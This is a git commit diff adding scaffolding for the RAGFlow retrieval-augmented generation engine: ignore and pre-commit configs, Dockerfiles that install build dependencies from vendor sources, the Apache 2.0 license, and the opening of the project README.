commit 88db2539b0e6a318decda512e9c0ca50b3a10765
Author: dangzerong <429714019@qq.com>
Date: Mon Oct 13 13:18:03 2025 +0800
将flask改成fastapi
diff --git a/.gitattributes b/.gitattributes
new file mode 100644
index 0000000..199ea9a
--- /dev/null
+++ b/.gitattributes
@@ -0,0 +1,2 @@
+*.sh text eol=lf
+docker/entrypoint.sh text eol=lf executable
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..956cd63
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,197 @@
+# Generated by Cargo
+# will have compiled files and executables
+debug/
+target/
+__pycache__/
+hudet/
+cv/
+layout_app.py
+api/flask_session
+
+# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
+# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
+Cargo.lock
+
+# These are backup files generated by rustfmt
+**/*.rs.bk
+
+# MSVC Windows builds of rustc generate these, which store debugging information
+*.pdb
+*.trie
+
+.idea/
+.vscode/
+
+# Exclude Mac generated files
+.DS_Store
+
+# Exclude the log folder
+docker/ragflow-logs/
+/flask_session
+/logs
+rag/res/deepdoc
+
+# Exclude sdk generated files
+sdk/python/ragflow.egg-info/
+sdk/python/build/
+sdk/python/dist/
+sdk/python/ragflow_sdk.egg-info/
+
+# Exclude dep files
+libssl*.deb
+tika-server*.jar*
+cl100k_base.tiktoken
+chrome*
+huggingface.co/
+nltk_data/
+
+# Exclude hash-like temporary files like 9b5ad71b2ce5302211f9c61530b329a4922fc6a4
+*[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]*
+.lh/
+.venv
+docker/data
+
+
+#--------------------------------------------------#
+# The following was generated with gitignore.nvim: #
+#--------------------------------------------------#
+# Gitignore for the following technologies: Node
+
+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+lerna-debug.log*
+.pnpm-debug.log*
+
+# Diagnostic reports (https://nodejs.org/api/report.html)
+report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
+
+# Runtime data
+pids
+*.pid
+*.seed
+*.pid.lock
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+lib-cov
+
+# Coverage directory used by tools like istanbul
+coverage
+*.lcov
+
+# nyc test coverage
+.nyc_output
+
+# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
+.grunt
+
+# Bower dependency directory (https://bower.io/)
+bower_components
+
+# node-waf configuration
+.lock-wscript
+
+# Compiled binary addons (https://nodejs.org/api/addons.html)
+build/Release
+
+# Dependency directories
+node_modules/
+jspm_packages/
+
+# Snowpack dependency directory (https://snowpack.dev/)
+web_modules/
+
+# TypeScript cache
+*.tsbuildinfo
+
+# Optional npm cache directory
+.npm
+
+# Optional eslint cache
+.eslintcache
+
+# Optional stylelint cache
+.stylelintcache
+
+# Microbundle cache
+.rpt2_cache/
+.rts2_cache_cjs/
+.rts2_cache_es/
+.rts2_cache_umd/
+
+# Optional REPL history
+.node_repl_history
+
+# Output of 'npm pack'
+*.tgz
+
+# Yarn Integrity file
+.yarn-integrity
+
+# dotenv environment variable files
+.env
+.env.development.local
+.env.test.local
+.env.production.local
+.env.local
+
+# parcel-bundler cache (https://parceljs.org/)
+.cache
+.parcel-cache
+
+# Next.js build output
+.next
+out
+
+# Nuxt.js build / generate output
+.nuxt
+dist
+
+# Gatsby files
+.cache/
+# Comment in the public line in if your project uses Gatsby and not Next.js
+# https://nextjs.org/blog/next-9-1#public-directory-support
+# public
+
+# vuepress build output
+.vuepress/dist
+
+# vuepress v2.x temp and cache directory
+.temp
+
+# Docusaurus cache and generated files
+.docusaurus
+
+# Serverless directories
+.serverless/
+
+# FuseBox cache
+.fusebox/
+
+# DynamoDB Local files
+.dynamodb/
+
+# TernJS port file
+.tern-port
+
+# Stores VSCode versions used for testing VSCode extensions
+.vscode-test
+
+# yarn v2
+.yarn/cache
+.yarn/unplugged
+.yarn/build-state.yml
+.yarn/install-state.gz
+.pnp.*
+
+# Serverless Webpack directories
+.webpack/
+
+# SvelteKit build / generate output
+.svelte-kit
+
+# Default backup dir
+backup
diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml
new file mode 100644
index 0000000..8a8cb2d
--- /dev/null
+++ b/.pre-commit-config.yaml
@@ -0,0 +1,19 @@
+repos:
+ - repo: https://github.com/pre-commit/pre-commit-hooks
+ rev: v4.6.0
+ hooks:
+ - id: check-yaml
+ - id: check-json
+ - id: end-of-file-fixer
+ - id: trailing-whitespace
+ - id: check-case-conflict
+ - id: check-merge-conflict
+ - id: mixed-line-ending
+ - id: check-symlinks
+
+ - repo: https://github.com/astral-sh/ruff-pre-commit
+ rev: v0.11.6
+ hooks:
+ - id: ruff
+ args: [ --fix ]
+ - id: ruff-format
diff --git a/.trivyignore b/.trivyignore
new file mode 100644
index 0000000..8f2725f
--- /dev/null
+++ b/.trivyignore
@@ -0,0 +1,15 @@
+**/*.md
+**/*.min.js
+**/*.min.css
+**/*.svg
+**/*.png
+**/*.jpg
+**/*.jpeg
+**/*.gif
+**/*.woff
+**/*.woff2
+**/*.map
+**/*.webp
+**/*.ico
+**/*.ttf
+**/*.eot
\ No newline at end of file
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..67fd264
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,213 @@
+# base stage
+FROM ubuntu:22.04 AS base
+USER root
+SHELL ["/bin/bash", "-c"]
+
+ARG NEED_MIRROR=0
+ARG LIGHTEN=0
+ENV LIGHTEN=${LIGHTEN}
+
+WORKDIR /ragflow
+
+# Copy models downloaded via download_deps.py
+RUN mkdir -p /ragflow/rag/res/deepdoc /root/.ragflow
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/huggingface.co,target=/huggingface.co \
+ cp /huggingface.co/InfiniFlow/huqie/huqie.txt.trie /ragflow/rag/res/ && \
+ tar --exclude='.*' -cf - \
+ /huggingface.co/InfiniFlow/text_concat_xgb_v1.0 \
+ /huggingface.co/InfiniFlow/deepdoc \
+ | tar -xf - --strip-components=3 -C /ragflow/rag/res/deepdoc
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/huggingface.co,target=/huggingface.co \
+ if [ "$LIGHTEN" != "1" ]; then \
+ (tar -cf - \
+ /huggingface.co/BAAI/bge-large-zh-v1.5 \
+ /huggingface.co/maidalun1020/bce-embedding-base_v1 \
+ | tar -xf - --strip-components=2 -C /root/.ragflow) \
+ fi
+
+# https://github.com/chrismattmann/tika-python
+# This is the only way to run python-tika without internet access. Without this set, the default is to check the tika version and pull latest every time from Apache.
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \
+ cp -r /deps/nltk_data /root/ && \
+ cp /deps/tika-server-standard-3.0.0.jar /deps/tika-server-standard-3.0.0.jar.md5 /ragflow/ && \
+ cp /deps/cl100k_base.tiktoken /ragflow/9b5ad71b2ce5302211f9c61530b329a4922fc6a4
+
+ENV TIKA_SERVER_JAR="file:///ragflow/tika-server-standard-3.0.0.jar"
+ENV DEBIAN_FRONTEND=noninteractive
+
+# Setup apt
+# Python package and implicit dependencies:
+# opencv-python: libglib2.0-0 libglx-mesa0 libgl1
+# aspose-slides: pkg-config libicu-dev libgdiplus libssl1.1_1.1.1f-1ubuntu2_amd64.deb
+# python-pptx: default-jdk tika-server-standard-3.0.0.jar
+# selenium: libatk-bridge2.0-0 chrome-linux64-121-0-6167-85
+# Building C extensions: libpython3-dev libgtk-4-1 libnss3 xdg-utils libgbm-dev
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+ if [ "$NEED_MIRROR" == "1" ]; then \
+ sed -i 's|http://ports.ubuntu.com|http://mirrors.tuna.tsinghua.edu.cn|g' /etc/apt/sources.list; \
+ sed -i 's|http://archive.ubuntu.com|http://mirrors.tuna.tsinghua.edu.cn|g' /etc/apt/sources.list; \
+ fi; \
+ rm -f /etc/apt/apt.conf.d/docker-clean && \
+ echo 'Binary::apt::APT::Keep-Downloaded-Packages "true";' > /etc/apt/apt.conf.d/keep-cache && \
+ chmod 1777 /tmp && \
+ apt update && \
+ apt --no-install-recommends install -y ca-certificates && \
+ apt update && \
+ apt install -y libglib2.0-0 libglx-mesa0 libgl1 && \
+ apt install -y pkg-config libicu-dev libgdiplus && \
+ apt install -y default-jdk && \
+ apt install -y libatk-bridge2.0-0 && \
+ apt install -y libpython3-dev libgtk-4-1 libnss3 xdg-utils libgbm-dev && \
+ apt install -y libjemalloc-dev && \
+ apt install -y python3-pip pipx nginx unzip curl wget git vim less && \
+ apt install -y ghostscript
+
+RUN if [ "$NEED_MIRROR" == "1" ]; then \
+ pip3 config set global.index-url https://mirrors.aliyun.com/pypi/simple && \
+ pip3 config set global.trusted-host mirrors.aliyun.com; \
+ mkdir -p /etc/uv && \
+ echo "[[index]]" > /etc/uv/uv.toml && \
+ echo 'url = "https://mirrors.aliyun.com/pypi/simple"' >> /etc/uv/uv.toml && \
+ echo "default = true" >> /etc/uv/uv.toml; \
+ fi; \
+ pipx install uv
+
+ENV PYTHONDONTWRITEBYTECODE=1 DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1
+ENV PATH=/root/.local/bin:$PATH
+
+# nodejs 12.22 on Ubuntu 22.04 is too old
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+ curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \
+ apt purge -y nodejs npm cargo && \
+ apt autoremove -y && \
+ apt update && \
+ apt install -y nodejs
+
+# A modern version of cargo is needed for the latest version of the Rust compiler.
+RUN apt update && apt install -y curl build-essential \
+ && if [ "$NEED_MIRROR" == "1" ]; then \
+ # Use TUNA mirrors for rustup/rust dist files
+ export RUSTUP_DIST_SERVER="https://mirrors.tuna.tsinghua.edu.cn/rustup"; \
+ export RUSTUP_UPDATE_ROOT="https://mirrors.tuna.tsinghua.edu.cn/rustup/rustup"; \
+ echo "Using TUNA mirrors for Rustup."; \
+ fi; \
+ # Force curl to use HTTP/1.1
+ curl --proto '=https' --tlsv1.2 --http1.1 -sSf https://sh.rustup.rs | bash -s -- -y --profile minimal \
+ && echo 'export PATH="/root/.cargo/bin:${PATH}"' >> /root/.bashrc
+
+ENV PATH="/root/.cargo/bin:${PATH}"
+
+RUN cargo --version && rustc --version
+
+# Add msssql ODBC driver
+# macOS ARM64 environment, install msodbcsql18.
+# general x86_64 environment, install msodbcsql17.
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+ curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - && \
+ curl https://packages.microsoft.com/config/ubuntu/22.04/prod.list > /etc/apt/sources.list.d/mssql-release.list && \
+ apt update && \
+ arch="$(uname -m)"; \
+ if [ "$arch" = "arm64" ] || [ "$arch" = "aarch64" ]; then \
+ # ARM64 (macOS/Apple Silicon or Linux aarch64)
+ ACCEPT_EULA=Y apt install -y unixodbc-dev msodbcsql18; \
+ else \
+ # x86_64 or others
+ ACCEPT_EULA=Y apt install -y unixodbc-dev msodbcsql17; \
+ fi || \
+ { echo "Failed to install ODBC driver"; exit 1; }
+
+
+
+# Add dependencies of selenium
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/chrome-linux64-121-0-6167-85,target=/chrome-linux64.zip \
+ unzip /chrome-linux64.zip && \
+ mv chrome-linux64 /opt/chrome && \
+ ln -s /opt/chrome/chrome /usr/local/bin/
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/chromedriver-linux64-121-0-6167-85,target=/chromedriver-linux64.zip \
+ unzip -j /chromedriver-linux64.zip chromedriver-linux64/chromedriver && \
+ mv chromedriver /usr/local/bin/ && \
+ rm -f /usr/bin/google-chrome
+
+# https://forum.aspose.com/t/aspose-slides-for-net-no-usable-version-of-libssl-found-with-linux-server/271344/13
+# aspose-slides on linux/arm64 is unavailable
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \
+ if [ "$(uname -m)" = "x86_64" ]; then \
+ dpkg -i /deps/libssl1.1_1.1.1f-1ubuntu2_amd64.deb; \
+ elif [ "$(uname -m)" = "aarch64" ]; then \
+ dpkg -i /deps/libssl1.1_1.1.1f-1ubuntu2_arm64.deb; \
+ fi
+
+
+# builder stage
+FROM base AS builder
+USER root
+
+WORKDIR /ragflow
+
+# install dependencies from uv.lock file
+COPY pyproject.toml uv.lock ./
+
+# https://github.com/astral-sh/uv/issues/10462
+# uv records index url into uv.lock but doesn't failover among multiple indexes
+RUN --mount=type=cache,id=ragflow_uv,target=/root/.cache/uv,sharing=locked \
+ if [ "$NEED_MIRROR" == "1" ]; then \
+ sed -i 's|pypi.org|mirrors.aliyun.com/pypi|g' uv.lock; \
+ else \
+ sed -i 's|mirrors.aliyun.com/pypi|pypi.org|g' uv.lock; \
+ fi; \
+ if [ "$LIGHTEN" == "1" ]; then \
+ uv sync --python 3.10 --frozen; \
+ else \
+ uv sync --python 3.10 --frozen --all-extras; \
+ fi
+
+COPY web web
+COPY docs docs
+RUN --mount=type=cache,id=ragflow_npm,target=/root/.npm,sharing=locked \
+ cd web && npm install && npm run build
+
+COPY .git /ragflow/.git
+
+RUN version_info=$(git describe --tags --match=v* --first-parent --always); \
+ if [ "$LIGHTEN" == "1" ]; then \
+ version_info="$version_info slim"; \
+ else \
+ version_info="$version_info full"; \
+ fi; \
+ echo "RAGFlow version: $version_info"; \
+ echo $version_info > /ragflow/VERSION
+
+# production stage
+FROM base AS production
+USER root
+
+WORKDIR /ragflow
+
+# Copy Python environment and packages
+ENV VIRTUAL_ENV=/ragflow/.venv
+COPY --from=builder ${VIRTUAL_ENV} ${VIRTUAL_ENV}
+ENV PATH="${VIRTUAL_ENV}/bin:${PATH}"
+
+ENV PYTHONPATH=/ragflow/
+
+COPY web web
+COPY api api
+COPY conf conf
+COPY deepdoc deepdoc
+COPY rag rag
+COPY agent agent
+COPY graphrag graphrag
+COPY agentic_reasoning agentic_reasoning
+COPY pyproject.toml uv.lock ./
+COPY mcp mcp
+COPY plugin plugin
+
+COPY docker/service_conf.yaml.template ./conf/service_conf.yaml.template
+COPY docker/entrypoint.sh ./
+RUN chmod +x ./entrypoint*.sh
+
+# Copy compiled web pages
+COPY --from=builder /ragflow/web/dist /ragflow/web/dist
+
+COPY --from=builder /ragflow/VERSION /ragflow/VERSION
+ENTRYPOINT ["./entrypoint.sh"]
diff --git a/Dockerfile.deps b/Dockerfile.deps
new file mode 100644
index 0000000..c16ad44
--- /dev/null
+++ b/Dockerfile.deps
@@ -0,0 +1,10 @@
+# This builds an image that contains the resources needed by Dockerfile
+#
+FROM scratch
+
+# Copy resources downloaded via download_deps.py
+COPY chromedriver-linux64-121-0-6167-85 chrome-linux64-121-0-6167-85 cl100k_base.tiktoken libssl1.1_1.1.1f-1ubuntu2_amd64.deb libssl1.1_1.1.1f-1ubuntu2_arm64.deb tika-server-standard-3.0.0.jar tika-server-standard-3.0.0.jar.md5 libssl*.deb /
+
+COPY nltk_data /nltk_data
+
+COPY huggingface.co /huggingface.co
diff --git a/Dockerfile.scratch.oc9 b/Dockerfile.scratch.oc9
new file mode 100644
index 0000000..6442473
--- /dev/null
+++ b/Dockerfile.scratch.oc9
@@ -0,0 +1,61 @@
+FROM opencloudos/opencloudos:9.0
+USER root
+
+WORKDIR /ragflow
+
+RUN dnf update -y && dnf install -y wget curl gcc-c++ openmpi-devel
+
+RUN wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda.sh && \
+ bash ~/miniconda.sh -b -p /root/miniconda3 && \
+ rm ~/miniconda.sh && ln -s /root/miniconda3/etc/profile.d/conda.sh /etc/profile.d/conda.sh && \
+ echo ". /root/miniconda3/etc/profile.d/conda.sh" >> ~/.bashrc && \
+ echo "conda activate base" >> ~/.bashrc
+
+ENV PATH /root/miniconda3/bin:$PATH
+
+RUN conda create -y --name py11 python=3.11
+
+ENV CONDA_DEFAULT_ENV py11
+ENV CONDA_PREFIX /root/miniconda3/envs/py11
+ENV PATH $CONDA_PREFIX/bin:$PATH
+
+# RUN curl -sL https://rpm.nodesource.com/setup_14.x | bash -
+RUN dnf install -y nodejs
+
+RUN dnf install -y nginx
+
+ADD ./web ./web
+ADD ./api ./api
+ADD ./docs ./docs
+ADD ./conf ./conf
+ADD ./deepdoc ./deepdoc
+ADD ./rag ./rag
+ADD ./requirements.txt ./requirements.txt
+ADD ./agent ./agent
+ADD ./graphrag ./graphrag
+ADD ./plugin ./plugin
+
+RUN dnf install -y openmpi openmpi-devel python3-openmpi
+ENV C_INCLUDE_PATH /usr/include/openmpi-x86_64:$C_INCLUDE_PATH
+ENV LD_LIBRARY_PATH /usr/lib64/openmpi/lib:$LD_LIBRARY_PATH
+RUN rm /root/miniconda3/envs/py11/compiler_compat/ld
+RUN cd ./web && npm i && npm run build
+RUN conda run -n py11 pip install $(grep -ivE "mpi4py" ./requirements.txt) # without mpi4py==3.1.5
+RUN conda run -n py11 pip install redis
+
+RUN dnf update -y && \
+ dnf install -y glib2 mesa-libGL && \
+ dnf clean all
+
+RUN conda run -n py11 pip install ollama
+RUN conda run -n py11 python -m nltk.downloader punkt
+RUN conda run -n py11 python -m nltk.downloader wordnet
+
+ENV PYTHONPATH=/ragflow/
+ENV HF_ENDPOINT=https://hf-mirror.com
+
+COPY docker/service_conf.yaml.template ./conf/service_conf.yaml.template
+ADD docker/entrypoint.sh ./entrypoint.sh
+RUN chmod +x ./entrypoint.sh
+
+ENTRYPOINT ["./entrypoint.sh"]
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..261eeb9
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,201 @@
+ Apache License
+ Version 2.0, January 2004
+ http://www.apache.org/licenses/
+
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+ 1. Definitions.
+
+ "License" shall mean the terms and conditions for use, reproduction,
+ and distribution as defined by Sections 1 through 9 of this document.
+
+ "Licensor" shall mean the copyright owner or entity authorized by
+ the copyright owner that is granting the License.
+
+ "Legal Entity" shall mean the union of the acting entity and all
+ other entities that control, are controlled by, or are under common
+ control with that entity. For the purposes of this definition,
+ "control" means (i) the power, direct or indirect, to cause the
+ direction or management of such entity, whether by contract or
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
+ outstanding shares, or (iii) beneficial ownership of such entity.
+
+ "You" (or "Your") shall mean an individual or Legal Entity
+ exercising permissions granted by this License.
+
+ "Source" form shall mean the preferred form for making modifications,
+ including but not limited to software source code, documentation
+ source, and configuration files.
+
+ "Object" form shall mean any form resulting from mechanical
+ transformation or translation of a Source form, including but
+ not limited to compiled object code, generated documentation,
+ and conversions to other media types.
+
+ "Work" shall mean the work of authorship, whether in Source or
+ Object form, made available under the License, as indicated by a
+ copyright notice that is included in or attached to the work
+ (an example is provided in the Appendix below).
+
+ "Derivative Works" shall mean any work, whether in Source or Object
+ form, that is based on (or derived from) the Work and for which the
+ editorial revisions, annotations, elaborations, or other modifications
+ represent, as a whole, an original work of authorship. For the purposes
+ of this License, Derivative Works shall not include works that remain
+ separable from, or merely link (or bind by name) to the interfaces of,
+ the Work and Derivative Works thereof.
+
+ "Contribution" shall mean any work of authorship, including
+ the original version of the Work and any modifications or additions
+ to that Work or Derivative Works thereof, that is intentionally
+ submitted to Licensor for inclusion in the Work by the copyright owner
+ or by an individual or Legal Entity authorized to submit on behalf of
+ the copyright owner. For the purposes of this definition, "submitted"
+ means any form of electronic, verbal, or written communication sent
+ to the Licensor or its representatives, including but not limited to
+ communication on electronic mailing lists, source code control systems,
+ and issue tracking systems that are managed by, or on behalf of, the
+ Licensor for the purpose of discussing and improving the Work, but
+ excluding communication that is conspicuously marked or otherwise
+ designated in writing by the copyright owner as "Not a Contribution."
+
+ "Contributor" shall mean Licensor and any individual or Legal Entity
+ on behalf of whom a Contribution has been received by Licensor and
+ subsequently incorporated within the Work.
+
+ 2. Grant of Copyright License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ copyright license to reproduce, prepare Derivative Works of,
+ publicly display, publicly perform, sublicense, and distribute the
+ Work and such Derivative Works in Source or Object form.
+
+ 3. Grant of Patent License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ (except as stated in this section) patent license to make, have made,
+ use, offer to sell, sell, import, and otherwise transfer the Work,
+ where such license applies only to those patent claims licensable
+ by such Contributor that are necessarily infringed by their
+ Contribution(s) alone or by combination of their Contribution(s)
+ with the Work to which such Contribution(s) was submitted. If You
+ institute patent litigation against any entity (including a
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
+ or a Contribution incorporated within the Work constitutes direct
+ or contributory patent infringement, then any patent licenses
+ granted to You under this License for that Work shall terminate
+ as of the date such litigation is filed.
+
+ 4. Redistribution. You may reproduce and distribute copies of the
+ Work or Derivative Works thereof in any medium, with or without
+ modifications, and in Source or Object form, provided that You
+ meet the following conditions:
+
+ (a) You must give any other recipients of the Work or
+ Derivative Works a copy of this License; and
+
+ (b) You must cause any modified files to carry prominent notices
+ stating that You changed the files; and
+
+ (c) You must retain, in the Source form of any Derivative Works
+ that You distribute, all copyright, patent, trademark, and
+ attribution notices from the Source form of the Work,
+ excluding those notices that do not pertain to any part of
+ the Derivative Works; and
+
+ (d) If the Work includes a "NOTICE" text file as part of its
+ distribution, then any Derivative Works that You distribute must
+ include a readable copy of the attribution notices contained
+ within such NOTICE file, excluding those notices that do not
+ pertain to any part of the Derivative Works, in at least one
+ of the following places: within a NOTICE text file distributed
+ as part of the Derivative Works; within the Source form or
+ documentation, if provided along with the Derivative Works; or,
+ within a display generated by the Derivative Works, if and
+ wherever such third-party notices normally appear. The contents
+ of the NOTICE file are for informational purposes only and
+ do not modify the License. You may add Your own attribution
+ notices within Derivative Works that You distribute, alongside
+ or as an addendum to the NOTICE text from the Work, provided
+ that such additional attribution notices cannot be construed
+ as modifying the License.
+
+ You may add Your own copyright statement to Your modifications and
+ may provide additional or different license terms and conditions
+ for use, reproduction, or distribution of Your modifications, or
+ for any such Derivative Works as a whole, provided Your use,
+ reproduction, and distribution of the Work otherwise complies with
+ the conditions stated in this License.
+
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
+ any Contribution intentionally submitted for inclusion in the Work
+ by You to the Licensor shall be under the terms and conditions of
+ this License, without any additional terms or conditions.
+ Notwithstanding the above, nothing herein shall supersede or modify
+ the terms of any separate license agreement you may have executed
+ with Licensor regarding such Contributions.
+
+ 6. Trademarks. This License does not grant permission to use the trade
+ names, trademarks, service marks, or product names of the Licensor,
+ except as required for reasonable and customary use in describing the
+ origin of the Work and reproducing the content of the NOTICE file.
+
+ 7. Disclaimer of Warranty. Unless required by applicable law or
+ agreed to in writing, Licensor provides the Work (and each
+ Contributor provides its Contributions) on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ implied, including, without limitation, any warranties or conditions
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+ PARTICULAR PURPOSE. You are solely responsible for determining the
+ appropriateness of using or redistributing the Work and assume any
+ risks associated with Your exercise of permissions under this License.
+
+ 8. Limitation of Liability. In no event and under no legal theory,
+ whether in tort (including negligence), contract, or otherwise,
+ unless required by applicable law (such as deliberate and grossly
+ negligent acts) or agreed to in writing, shall any Contributor be
+ liable to You for damages, including any direct, indirect, special,
+ incidental, or consequential damages of any character arising as a
+ result of this License or out of the use or inability to use the
+ Work (including but not limited to damages for loss of goodwill,
+ work stoppage, computer failure or malfunction, or any and all
+ other commercial damages or losses), even if such Contributor
+ has been advised of the possibility of such damages.
+
+ 9. Accepting Warranty or Additional Liability. While redistributing
+ the Work or Derivative Works thereof, You may choose to offer,
+ and charge a fee for, acceptance of support, warranty, indemnity,
+ or other liability obligations and/or rights consistent with this
+ License. However, in accepting such obligations, You may act only
+ on Your own behalf and on Your sole responsibility, not on behalf
+ of any other Contributor, and only if You agree to indemnify,
+ defend, and hold each Contributor harmless for any liability
+ incurred by, or claims asserted against, such Contributor by reason
+ of your accepting any such warranty or additional liability.
+
+ END OF TERMS AND CONDITIONS
+
+ APPENDIX: How to apply the Apache License to your work.
+
+ To apply the Apache License to your work, attach the following
+ boilerplate notice, with the fields enclosed by brackets "[]"
+ replaced with your own identifying information. (Don't include
+ the brackets!) The text should be enclosed in the appropriate
+ comment syntax for the file format. We also recommend that a
+ file or class name and description of purpose be included on the
+ same "printed page" as the copyright notice for easier
+ identification within third-party archives.
+
+ Copyright [yyyy] [name of copyright owner]
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..915000b
--- /dev/null
+++ b/README.md
@@ -0,0 +1,409 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+#
+
+
+
+
+
+
+📕 Table of Contents
+
+- 💡 [What is RAGFlow?](#-what-is-ragflow)
+- 🎮 [Demo](#-demo)
+- 📌 [Latest Updates](#-latest-updates)
+- 🌟 [Key Features](#-key-features)
+- 🔎 [System Architecture](#-system-architecture)
+- 🎬 [Get Started](#-get-started)
+- 🔧 [Configurations](#-configurations)
+- 🔧 [Build a docker image without embedding models](#-build-a-docker-image-without-embedding-models)
+- 🔧 [Build a docker image including embedding models](#-build-a-docker-image-including-embedding-models)
+- 🔨 [Launch service from source for development](#-launch-service-from-source-for-development)
+- 📚 [Documentation](#-documentation)
+- 📜 [Roadmap](#-roadmap)
+- 🏄 [Community](#-community)
+- 🙌 [Contributing](#-contributing)
+
+
+
+## 💡 What is RAGFlow?
+
+[RAGFlow](https://ragflow.io/) is a leading open-source Retrieval-Augmented Generation (RAG) engine that fuses cutting-edge RAG with Agent capabilities to create a superior context layer for LLMs. It offers a streamlined RAG workflow adaptable to enterprises of any scale. Powered by a converged context engine and pre-built agent templates, RAGFlow enables developers to transform complex data into high-fidelity, production-ready AI systems with exceptional efficiency and precision.
+
+## 🎮 Demo
+
+Try our demo at [https://demo.ragflow.io](https://demo.ragflow.io).
+
+
+
+
+
+
+## 🔥 Latest Updates
+
+- 2025-08-08 Supports OpenAI's latest GPT-5 series models.
+- 2025-08-04 Supports new models, including Kimi K2 and Grok 4.
+- 2025-08-01 Supports agentic workflow and MCP.
+- 2025-05-23 Adds a Python/JavaScript code executor component to Agent.
+- 2025-05-05 Supports cross-language query.
+- 2025-03-19 Supports using a multi-modal model to make sense of images within PDF or DOCX files.
+- 2025-02-28 Combined with Internet search (Tavily), supports reasoning like Deep Research for any LLMs.
+- 2024-12-18 Upgrades Document Layout Analysis model in DeepDoc.
+- 2024-08-22 Support text to SQL statements through RAG.
+
+## 🎉 Stay Tuned
+
+⭐️ Star our repository to stay up-to-date with exciting new features and improvements! Get instant notifications for new
+releases! 🌟
+
+
+
+
+
+## 🌟 Key Features
+
+### 🍭 **"Quality in, quality out"**
+
+- [Deep document understanding](./deepdoc/README.md)-based knowledge extraction from unstructured data with complicated
+ formats.
+- Finds "needle in a data haystack" of literally unlimited tokens.
+
+### 🍱 **Template-based chunking**
+
+- Intelligent and explainable.
+- Plenty of template options to choose from.
+
+### 🌱 **Grounded citations with reduced hallucinations**
+
+- Visualization of text chunking to allow human intervention.
+- Quick view of the key references and traceable citations to support grounded answers.
+
+### 🍔 **Compatibility with heterogeneous data sources**
+
+- Supports Word, slides, excel, txt, images, scanned copies, structured data, web pages, and more.
+
+### 🛀 **Automated and effortless RAG workflow**
+
+- Streamlined RAG orchestration catered to both personal and large businesses.
+- Configurable LLMs as well as embedding models.
+- Multiple recall paired with fused re-ranking.
+- Intuitive APIs for seamless integration with business.
+
+## 🔎 System Architecture
+
+
+
+
+
+## 🎬 Get Started
+
+### 📝 Prerequisites
+
+- CPU >= 4 cores
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): Required only if you intend to use the code executor (sandbox) feature of RAGFlow.
+
+> [!TIP]
+> If you have not installed Docker on your local machine (Windows, Mac, or Linux), see [Install Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 Start up the server
+
+1. Ensure `vm.max_map_count` >= 262144:
+
+ > To check the value of `vm.max_map_count`:
+ >
+ > ```bash
+ > $ sysctl vm.max_map_count
+ > ```
+ >
+ > Reset `vm.max_map_count` to a value at least 262144 if it is not.
+ >
+ > ```bash
+ > # In this case, we set it to 262144:
+ > $ sudo sysctl -w vm.max_map_count=262144
+ > ```
+ >
+ > This change will be reset after a system reboot. To ensure your change remains permanent, add or update the
+ > `vm.max_map_count` value in **/etc/sysctl.conf** accordingly:
+ >
+ > ```bash
+ > vm.max_map_count=262144
+ > ```
+
+2. Clone the repo:
+
+ ```bash
+ $ git clone https://github.com/infiniflow/ragflow.git
+ ```
+
+3. Start up the server using the pre-built Docker images:
+
+> [!CAUTION]
+> All Docker images are built for x86 platforms. We don't currently offer Docker images for ARM64.
